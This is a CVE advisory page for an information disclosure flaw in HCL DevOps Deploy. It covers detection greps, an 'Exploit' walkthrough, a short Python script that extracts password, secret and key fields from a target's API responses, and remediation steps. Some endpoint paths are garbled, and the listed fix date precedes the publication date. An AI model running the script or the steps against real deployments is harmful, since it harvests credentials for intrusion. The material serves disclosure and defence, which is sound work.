HCL DevOps Deploy / HCL Launch – Information Disclosure via API Responses (CVE-2026-56460) – MEDIUM -DC-Jul2026-898

Listen to this Post

CVE-2026-56460 describes an information disclosure vulnerability affecting HCL DevOps Deploy (formerly HCL Launch) that allows authenticated users to obtain sensitive configuration data and secrets through API responses. The flaw stems from improper access controls and insufficient data sanitization within the application’s API endpoints, which fail to adequately filter or mask confidential fields before returning data to requesting users. This exposure typically includes authentication tokens, database credentials, encryption keys, system environment variables, and other privileged configuration parameters.
The vulnerability is classified under CWE-201: Insertion of Sensitive Information Into Sent Data. Attackers with valid authentication credentials can exploit this issue by crafting targeted API requests that return detailed system information that should remain inaccessible to standard authenticated users. The attack requires low complexity, can be executed remotely over the network, and does not require user interaction – only low-privileged credentials are needed. The CVSS 3.1 vector is AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, resulting in a base score of 6.5 (MEDIUM).
The technical root cause lies in the API response handling logic, where the backend does not enforce strict role-based filtering on the data returned. For example, endpoints that retrieve application or environment configurations may return full objects including encrypted passwords, API keys, and internal service URLs, rather than redacted or obfuscated versions. This violates the principle of least privilege, as an authenticated user with only read-only permissions could potentially view administrative credentials. The exposed information can then be leveraged for privilege escalation, lateral movement, or further attacks against the system, including supply chain compromises or insider threats. Detection of exploitation is challenging because the requests originate from legitimate authenticated sessions, blending malicious activity with normal API usage. Affected versions include HCL DevOps Deploy 8.0.0.0 through 8.0.1.13, 8.1.0.0 through 8.1.2.6, and 8.2.0.0 through 8.2.1.x, as well as corresponding HCL Launch releases. The vendor has released fixed versions (8.0.1.14, 8.1.2.7, 8.2.2.0 and later) that implement proper output sanitization and role-based access controls on all API responses.

DailyCVE Form:

Platform: HCL DevOps Deploy / Launch
Version: 8.0.0.0-8.0.1.13 / 8.1.0.0-8.1.2.6 / 8.2.0.0-8.2.1.x
Vulnerability: Information Disclosure (CWE-201)
Severity: MEDIUM (CVSS 6.5)
date: 2026-07-09

Prediction: 2026-06-30 (fixed in 8.2.2.0)

What Undercode Say:

Analytics & Detection Indicators

  • API Endpoint Pattern: /api/v1/environment//properties, /api/v1/application//config, `/api/v1/system/settings`
    – Abnormal Response Size: Sudden increase in response payload size (e.g., > 10 KB for configuration endpoints)
  • Anomalous Access: Frequent calls to configuration APIs from low-privileged users
  • Log Monitoring: Look for `GET` requests to `/api//secret` or `/api//credentials` with status 200
  • User Agent: Unusual or automated user-agent strings in API logs
  • Time Pattern: Repeated requests during off-hours (indicates reconnaissance)

Bash Commands for Detection & Validation

Check API access logs for suspicious configuration requests
grep -E "GET /api/v[0-9]+/(environment|application|system)/.(config|properties|settings)" /var/log/hcl-deploy/access.log
Extract responses containing potential secrets (basic pattern)
grep -E "(\"password\"|\"token\"|\"apiKey\"|\"secret\"|\"credential\")" /var/log/hcl-deploy/api-responses.log | jq '.'
Test if sensitive data is exposed (requires valid session cookie)
curl -X GET "https://deploy.example.com/api/v1/environment/prod/properties" \
-H "Cookie: JSESSIONID=YOUR_SESSION" \
-H "Accept: application/json" | jq '. | select(.properties | contains("password"))'
Monitor for large response bodies from config endpoints
tail -f /var/log/hcl-deploy/access.log | awk '$9 == 200 && $7 ~ /\/api\/.\/config/ {print $10, $7}' | sort -nr

Exploit:

An attacker with valid low-privileged credentials can perform the following steps:
1. Authenticate to the HCL DevOps Deploy web interface or obtain a session token.
2. Enumerate API endpoints by reviewing the Swagger/OpenAPI documentation (often exposed at `/api-docs` or /swagger-ui).

3. Craft GET requests to endpoints such as:

– `/api/v1/environment/{envId}/properties`
– `/api/v1/application/{appId}/configuration`
– `/api/v1/system/secrets`
4. Parse the JSON response to extract fields like:
db.password, `db.username`
– `ldap.bindPassword`
aws.secretKey, `aws.accessKey`
encryption.key, `jwt.secret`
5. Reuse these credentials to access other systems (e.g., databases, cloud consoles, CI/CD pipelines), escalate privileges, or deploy malicious artifacts.

Example Exploit Script (Python)

import requests
session = requests.Session()
session.cookies.set('JSESSIONID', 'valid_session_id')
Target API
url = "https://deploy.target.com/api/v1/environment/123/properties"
response = session.get(url, headers={"Accept": "application/json"})
if response.status_code == 200:
data = response.json()
secrets = {k: v for k, v in data.items() if 'password' in k.lower() or 'secret' in k.lower() or 'key' in k.lower()}
print("[+] Extracted secrets:", secrets)
else:
print("[-] Access denied or endpoint not vulnerable")

Protection:

  • Upgrade to HCL DevOps Deploy version 8.0.1.14, 8.1.2.7, 8.2.2.0, or later.
  • Implement API Response Filtering: Sanitize all API responses to exclude sensitive fields based on user roles. Use a whitelist of allowed fields for each endpoint.
  • Enforce Strict Access Control: Apply role-based access control (RBAC) to every API endpoint, ensuring that only administrators can view configuration data.
  • Enable Audit Logging: Log all API requests and responses, especially those returning configuration data, and monitor for anomalous patterns.
  • Use Secrets Management: Store credentials in a secure vault (e.g., HashiCorp Vault) and reference them via tokens, never returning raw values in API responses.
  • Conduct Regular Security Reviews: Perform code reviews and dynamic application security testing (DAST) to identify similar information disclosure flaws.
  • Network Segmentation: Restrict access to the DevOps Deploy management interfaces to trusted IP ranges only.

Impact:

  • Confidentiality Breach: Exposure of database credentials, cloud API keys, encryption keys, and internal service URLs.
  • Privilege Escalation: Attackers can use extracted credentials to gain higher-level access within the system or pivot to other connected services.
  • Lateral Movement: Compromised credentials may grant access to production environments, source code repositories, or CI/CD pipelines.
  • Supply Chain Risk: Attackers could inject malicious code into deployment artifacts if they obtain deployment credentials.
  • Compliance Violations: Exposure of sensitive data may lead to violations of GDPR, HIPAA, PCI-DSS, or other regulatory requirements.
  • Reputational Damage: Public disclosure of such a vulnerability can erode customer trust and lead to financial losses.
  • Operational Disruption: An attacker could use the exposed information to halt deployments, modify configurations, or launch ransomware attacks against the infrastructure.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top